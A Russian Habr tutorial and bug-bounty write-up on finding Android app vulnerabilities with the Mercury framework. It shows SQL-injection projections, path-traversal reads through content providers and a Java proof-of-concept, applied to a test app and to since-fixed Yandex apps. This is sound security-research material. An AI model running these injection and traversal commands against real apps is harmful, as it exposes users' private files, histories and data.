Pull to refresh

Mercury — вестник android-багов

Reading time 12 min
Views 17K
image

Здравствуйте, дамы и господа. Сегодня мы рассмотрим, с помощью чего и как можно находить уязвимости в своих и чужих android-приложениях. Также увидим, что благодаря этим уязвимостям может сделать атакующий. Помимо этого, я приведу примеры уязвимостей, которые были найдены в рамках конкурса «Охота за ошибками» от компании Яндекс.

Установка подопытных


Как и для программирования под мобильные устройства, для исследования можно использовать «железо» и эмуляторы. Если под настоящие устройства особых проблем нет, то установить apk-приложение на эмулятор из google play вызывает трудности. А программы от Яндекса проще всего получить именно так.

Разберем варианты получения apk-файла (некоторые были уже на страницах хабра, но повторюсь).

  1. Скачать приложение на реальное устройство и перенести на компьютер, используя adb.

    • Проверяем наличие устройства:

      adb devices
      

    • Все установленные приложения хранят свой «установщик» в папке /data/app:

      adb pull /data/app/ru.yandex.yandexmaps-1.apk C:\
      

      ОС Android использует нумерацию каждой установленной программы, поэтому на конце может быть как «-1», так и «-2». Или можно скачать все установленные приложения из раздела /data/app для будущих анализов:

      adb pull /data/app path_to_comp
      

      Копируем все программы с LG телефона

  2. Воспользоваться скриптами c неофициальным API.

    Я использую вариант, который написанный на python. Он выложен на github, есть аналог на java. Для его работы понадобится AndroidID реального устройства, которое прикреплено к вашему или какому-то другому google-аккаунту, а так же логин и пароль или AuthToken.

    AndroidID можно узнать, набрав USSD-команду:

    *#*#8255#*#*
    

    Здесь параметр aid и будет Вашим AndroidID. Все это вводим в файле config.py. Далее, например, можно найти все яндекс программы на маркете командой:

    search.py yandex
    

    Результат выполнения

  3. Установить шаманским образом Google play на эмулятор.

  4. Скачать с сайтов, например:
    4PDA — есть все популярные программы, в том числе «крякнутые», которые конечно только для ознакомления.
    xda-developers — в основном apk «бесплатных» или open-source программ.
    В этом случае приложение можно установить напрямую в устройстве через браузер.


Установить приложения в эмулятор можно двумя способами:
  • Через DDMS в Eclipse кнопкой install application.
  • Через adb командой:

    adb install app.apk
    

Инструментарий для анализа приложений на уязвимости


Помимо «ручного» анализа, вставляем «кавычки» куда только можно, для поиска уязвимостей в android-приложениях существует не так много программ. Самые популярные из них это:
  • ScanDroid
  • Mercury

ScanDroid – скрипт на ruby, который декомпилирует dex-класс из приложения в java-код и ищет по определенным правилам, который указал пользователь, потенциально опасные места. Более подробно можно ознакомиться из документа от создателей программы или переводе. Там же представлен исходник программы.

Mercury – фреймворк с открытым исходным кодом и написанным на python. Представляет собой комплекс интерактивных инструментов, с помощью которых он может взаимодействовать со всеми установленными и запущенными приложениями на android-устройстве. Вот с ним мы и продолжим знакомство.

Работа с Mercury


В данный момент доступна 2.2.0 версия, она полностью переработана по сравнению с версиями 1+. Но для загрузки доступна и та и та, и в случаи первых версии установка проще и не требует дополнительных зависимостей.

Скачать нужную версию можно с главного сайта или github-репозитария. Сама программа состоит из двух частей:
  • Клиент – python-программа, которую запускаем на компьютере (успешно работает как в *nix, так и в windows).
  • Агент (в 1+ версиях эта часть называлась сервером) – apk-приложение, которое можно установить любым из способов, описанным выше.

Установка клиентской-части

Linux (Debian-подобные)

Установка зависимостей:

    $ apt-get install build-essential python-dev python-setuptools
    $ easy_install --allow-hosts pypi.python.org protobuf==2.4.1
    $ easy_install twisted==10.2.0

Установка Mercury:

    $ easy_install ./mercury-2.2.0-py2.7.egg

Windows

Установка зависимостей:

  1. Для начала скачиваем следующие программы:

  2. Далее запускаем их со следующими параметрами:

        C:\Python27\Scripts\easy_install.exe --allow-hosts pypi.python.org protobuf==2.4.1
        C:\Python27\Scripts\easy_install.exe pyopenssl
        C:\Python27\Scripts\easy_install.exe pyreadline
        C:\Python27\Scripts\easy_install.exe twisted==10.2.0
    

  3. Запустить windows-инсталлятор.

Mac OS X

Официального руководства нет, но так как Xcode можно установить с command-line tools в котором доступен easy_install, то при попытке установить через команду

    $ easy_install ./mercury-2.2.0-py2.7.egg

Все закончилось успешной установкой.

Пример установки

Установка сервера

Устанавливается любым из описанных выше методов:
  • adb install.apk
  • Через DDMS.
  • Скачать и установить напрямую с сайта.

Настройка

Для соединения клиента и сервера нам понадобится IP-адрес устройства, в случае, если это эмулятор, надо сделать переброс портов командой:

adb forward tcp:31415 tcp:31415

Соответственно IP-адрес для сканера будет 127.0.0.1.

На реальном устройстве достаточно в списке WiFi-сетей просто кликнуть по нужной и появится всплывающее окно с подробной информацией о качестве, типе безопасности и нужным нам IP-адресе.

Перед тем как запустить с компьютера, приложение нужно запустить на устройстве. Кликнуть по Embeded server и перевести переключатель в положение «Enabled». Начиная с 2ой версии, позволено шифровать трафик через ssl и ставить пароль.

Пример запуска агента в эмуляторе

Ищем уязвимости

Присоединяемся к устройству.
Windows:

C:\Python27\Scripts\>python mercury console connect IP

Запуск mercury-консоли

Unix:

 mercury console connect IP

Список всех установленных модулей вызывается следующей командой:

list

Вывод команды list

В статье мы рассмотрим не все, а только те, которые позволяют найти уязвимости с реальными примерами.

Первой подопытной программой будет Sieve, предлагаемая разработчиками.
Для начала нам нужно узнать имя программы (package). Есть несколько вариантов как это сделать:
  • Выполнить команду:

    mercury> run app.package.list
    

    И найти свою в списке. Или можно добавить фильтр, например, в нашем случае:

    mercury> run app.package.list –f sieve
    

  • Посмотреть самому папку /data/data через любой файловый менеджер.
  • и другие… .

В результате получаем имя — com.mwr.example.sieve

В сегодняшней статье мы рассмотрим уязвимости, одну из которых многие не ожидали увидеть в ОС android, все таки она больше ассоциируется с Web:
  • Sql-инъекции.
  • Чтение произвольных файлов (LFI).

Ну что же, продолжим. Получим информацию о приложении:

mercury> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

Activity (Деятельность) — представляет собой схему представления Android-приложений. Например, главный экран, который видит пользователь при открытии программы. Или форма отправки баг-репорта разработчику.
Services (Службы) — выполняет фоновые задачи без предоставления пользовательского интерфейса.
Content Providers (Контент-провайдеры) — предоставляет данные приложениям, чаще всего к sqlite БД приложения. Можно вызывать из других приложений.
Broadcast Receiver (Широковещательный приемник) — принимает системные сообщения и неявные интенты, может использоваться для реагирования на изменение состояния системы.

Более подробно про структуру android-приложений можно прочитать на страницах хабра, в частности Android Development Tutorial. Ну а пока разберемся с контент-провайдерами. Смотрим список доступных:

mercury> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.FileBackupProvider

Mercury распаковывает apk файл и далее сканирует его, используя регулярные выражения, на наличие строк содержащих “content://” и блока Providers в файле AndroidManifest.xml. В своей практике я сталкивался, когда разработчики, чтобы защититься от такого, шифровали строки различными методами, поэтому приходилось реверсить приложение в ручную.

Так как контент-провайдер чаще всего предоставляет доступ к sqlite базе данных приложения, то и разбирать будем обычные sql-запросы. Мы остановимся только на select, так как думаю с insert,update и delete-запросами проблемы не возникнут.

Я думаю, не одного меня первым манят слова Passwords, поэтому начнем с этого провайдера:

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service | username | password                                      | email          |
| 1   | habr    | root     | uVYNVnRWZxRM355wU3PqdCTpYc8= (Base64-encoded) | root@main.habr |

И получаем всю информацию из запроса, теперь попробуем старую добрую sql-инъекцию. Еще раз напомню, что в android-приложении используется sqlite, сделаем запрос к sqlite_master (структура всей БД):

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "* FROM sqlite_master--"
| type  | name                   | tbl_name         | rootpage | sql  |
| table | android_metadata       | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)  |
| table | Passwords              | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email) |
| table | Key                    | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )  |
| index | sqlite_autoindex_Key_1 | Key              | 6        | null  |

Как видим, наша sql-инъекция прошла успешно, и мы получили всю структуру БД: таблицы и поля в них. Кстати, здесь же работают и другие sqlite-функции, например можно узнать номер версии БД:

mercury> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords --projection "sqlite_version();--"
| sqlite_version() |
| 3.7.4            |

Остальные уязвимости в этом приложении останутся для задания на дом, а сейчас вернемся к началу статьи, где я обещал рассказать про находки в приложениях от Яндекса. Благодаря mercury упростилась демонстрация эксплуатации, так как поначалу приходилось писать свои приложения (PoC).

Основные части исходного кода PoC
// Наша программа проводит 2 вида запросов к заведомо уязвимым контент-провайдерам: пытается просто получить всю информацию из таблицы и sql-инъекцию с параметром “* FROM sqlite_master--“
//функция получения имен колонок таблицы
// uri – content provider
// projectionArray – дополнение к запросу, например: “* FROM sqlite_master—“
public static ArrayList<String> getColumns (ContentResolver resolver, String uri, String[] projectionArray)
	{
		ArrayList<String> columns = new ArrayList<String>();	
		try
		{				
	        Cursor c = resolver.query(Uri.parse(uri), projectionArray, null, null, null);
	        if (c != null)
	        {
	        	String [] colNames = c.getColumnNames();
	        	c.close();
	        	for (int k = 0; k < colNames.length; k++)
	        		columns.add(colNames[k]);
	        }
		}
		catch (Throwable t) {}
		return columns;
	}
// «Боевая функция», которая обращается к выбранному контент-провайдеру и делает запрос
// target – content-provider
// projection – дополнительный запрос
	public String make_shoot(String target, String projection) {
		ContentResolver r = getContentResolver();
		String[] projectionArray = null;
		if (projection.length() > 0) {
			projectionArray = new String[1];
			int i = 0;
			projectionArray[i] = projection;
		}
		String data = "";
		Cursor c = r.query(Uri.parse(target), projectionArray, null, null, null);
		if (c != null) {
			ArrayList<String> cols = getColumns(r,
					target,
					projectionArray);
			Iterator<String> it = cols.iterator();
			String columns = "";
			while (it.hasNext())
				columns += it.next() + " | ";
			data += columns.substring(0, columns.length() - 3);
			data += "\n\n";
			for (c.moveToFirst(); !c.isAfterLast(); c.moveToNext())	{
				int numOfColumns = c.getColumnCount();
				for (int l = 0; l < numOfColumns; l++) {
					try	{
						data += c.getString(l);
					}
					catch (Exception e)	{
						data += "(blob) "
								+ Base64.encodeToString(c.getBlob(l),
										Base64.DEFAULT);
					}
					if (l != (numOfColumns - 1))
						data += " | ";
				}
			}
		}
		return data;
	}


Ниже я продемонстрирую только несколько найденных уязвимостей из-за ограничения в 90 дней после отправки информации об ошибке.

На примере первого приложения заодно рассмотрим другой тип уязвимостей. Помимо sql-инъекций через контент-провайдеры можно провести атаку «раскрытия путей» для многих системных файлов и любого файла к которому есть доступ у уязвимого приложения. Уязвимость такого рода была найдена в приложении Яндекс.диск. Доступным для любого пользователя оказался провайдер content://ru.yandex.disk.cache. Первым делом проверим доступ к системному файлу:

mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../system/etc/hosts
127.0.0.1 localhost 

Теперь попробуем получить доступ к чему-нибудь более интересному. Например, к БД приложения. Напомню, что наши приложения используют sqlite и базу хранят в отдельном файле в своей папке, к которой доступ есть только у root и этого же приложения:

mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../../data/data/ru.yandex.disk/databases/disk

Из-за системных символов вывод команды под катом

Как видите, мы получаем список всех файлов сохраненных в Яндекс.диске. Помимо этого приложение использует кэш, следовательно можно обратиться к любому файлу, который пользователь открыл с помощью мобильного приложения и не очистил после этого папку со временными файлами. Например, пользователь открывал документ по работе с яндекс.диском:

mercury> run app.provider.read content://ru.yandex.disk.cache/../../../../../../../sdcard/Android/data/ru.yandex.disk/files/disk/readme.pdf

Для атаки нам нужно знать директорию кэша, но она стандартная, а имена файлов можно получить из БД приложения предыдущим запросом.

В своем PoC такое обращение к провайдеру можно реализовать через функцию:

resolver.openInputStream(uri)

Другая уязвимость была найдена в контент-провайдере, ответственном за закладки пользователя, и позволяла любому приложению менять их:

mercury> run app.provider.query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels
geocode | label_name_tolower | lon | date | label_name | _id | lat
 Москва, Россия, Лужнецкая набережная, 2/4с17 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137
 Москва, Россия, Лужнецкая набережная, 2/4с17 | Work | 37.5732 | 1352196427356 | Work | 2 | 55.7137
Изменяем:
update content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels --string label_name_tolower=Home label_name=Home --where _id=2
query content://ru.yandex.yandexmaps.labels.LabelsProvider/mylabels
geocode | label_name_tolower | lon | date | label_name | _id | lat
 Москва, Россия, Лужнецкая набережная, 2/4с17 | Neuronspace.ru | 37.5732 | 1352196244367 | Neuronspace.ru | 1 | 55.7137
 Москва, Россия, Лужнецкая набережная, 2/4с17 | Home | 37.5732 | 1352196427356 | Home | 2 | 55.7137

Так работа стала домом. Или можно изменить координаты места и тогда пользователь приедет не по тому адресу…

Следующая уязвимая программа — Яндекс.Электрички. Здесь тоже обнаружена уязвимость типа sql-инъекция в БД с возможностью манипуляции данных.

mercury> run app.provider.query content://ru.yandex.rasp/files --projection "* FROM sqlite_master--"
type | name | tbl_name | rootpage | sql
.....
table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)
table | files | files | 4 | CREATE TABLE files (_id integer primary key autoincrement, etag text, last_modified text, name text, region text,last_updated long,UNIQUE (name))
index | sqlite_autoindex_files_1 | files | 5 | null
table | sqlite_sequence | sqlite_sequence | 6 | CREATE TABLE sqlite_sequence(name,seq)
table | recent_stations | recent_stations | 7 | CREATE TABLE recent_stations (_id integer primary key autoincrement, region text, is_meta int,station_id text, UNIQUE (station_id, region))
index | sqlite_autoindex_recent_stations_1 | recent_stations | 8 | null
table | favourite_stations | favourite_stations | 9 | CREATE TABLE favourite_stations (_id integer primary key autoincrement, station1 text, station1_meta int,station1_title text, station2 text,station2_meta int,station2_title text, current_from text, data_state int, identifier text, mirror_presented int, UNIQUE (identifier))
index | sqlite_autoindex_favourite_stations_1 | favourite_stations | 10 | null

Для примера изменения данных поменяем путь к кэшу файлов:

mercury> run app.provider.update content://ru.yandex.rasp/files --string name "/system/sdcard/hack.txt” --where _id=2
_id | etag | last_modified | name | region | last_updated
.....
2 | 9bcbdc0620af50eadead14cdee81a1ded08f0259 | null | /system/sdcard/hack.txt | 213 | 1352462705854
1 | 548f13c285590c4bc8df665613d2d80e7be4678a | null | /data/data/ru.yandex.rasp/cache/all_cities.cache |  | 1352462705064

Благодаря этой уязвимости злоумышленник мог бы читать и изменять списки любимых и недавних станций. Так же изменение пути до кэша могло «уронить» приложение или поменять расписание, если у пользователя отсутствовал в этот момент интернет.

Последняя, на сегодня, уязвимая программа — Яндекс.Такси. В этот раз приведу только список и что с ними можно было сделать. Уязвимыми оказались несколько контент-провайдеров:
Первый: content://ru.yandex.taxi/taxi
Позволял получать и изменять список доступных такси пользователю. Правда не знаю, удалось бы «подкинуть» пользователю свою машину, так как вызов идет через живого оператора, но номера и другую информацию ближайших такси к пользователю можно было получить. Остальные не так интересны:
  • content://ru.yandex.taxi/history — как видно из названия, позволял получить доступ к истории, как поиска, так и вызовов.
  • content://ru.yandex.taxi/delay_order — доступ к истории заказов.

Информация такого рода понадобится не каждому злоумышленнику, но каким-либо «ревнивцам» или «частным» детективам была бы интересна.

Но главное отличие таких уязвимостей, что вредоносному приложению, которое сделает все описанное выше, не надо никаких дополнительных прав. Злоумышленник может предложить пользователю поставить новые обои, а так как большинство людей научилось, что если приложение требует для установки странные права, например, приложению для просмотра видео требуется права на отправку смс и монтирование sd-карты, он первым делом посмотрит на это. Но не увидит ничего странного и подумает, что от установки никаких проблем не будет. Или встроить такой функционал в другое приложение, например, в наши любые angry birds…

Другие возможности Mercury


Так же в комплект входят сканеры, которые пройдутся по всем установленным программам на устройстве и попытаются автоматически проэксплуатировать тот тип уязвимостей, который выберете. Сканеры для предыдущих типов уязвимостей:
  • scanner.provider.injection – тестирует на возможность проведение sql-инъекции
  • scanner.provider.traversal – тестирует на возможность прочитать любой доступный файл

Пример работы сканера уязвимостей типа раскрытия путей

Вначале выводится список контент-провайдеров, которые будем тестировать, а в конце результаты, которые проверяются или командами выше и/или реверсингом.

Для некоторых сканеров понадобится установить на устройство программу busybox:

mercury> run scanner.misc.readablefiles
This command requires BusyBox to complete. Run tools.setup.busybox and then retry.
mercury> run tools.setup.busybox
BusyBox installed.
mercury>

Заключение


В этой статье мы познакомились с универсальным инструментом для поиска уязвимостей в Android-приложениях — mercury. Подробно рассмотрели, как работать с одной из частей Android-приложения — контент-провайдерами. Неосвещенными остались Activity (Деятельность), Services (Службы) и Broadcast Receiver (Широковещательный приемник). В будущем планируется найти и показать на примере найденных уязвимостей, как можно использовать mercury для такого типа уязвимостей. Также планируется более близко познакомиться с другими программами для анализа.

Благодарим специалистов из отдела безопасности Яндекса за оперативную реакцию! А разработчиков приложений — за медленное, но верное ;) исправление найденных узявимостей.
Tags:
Hubs:
+40
Comments 11
Comments Comments 11

Articles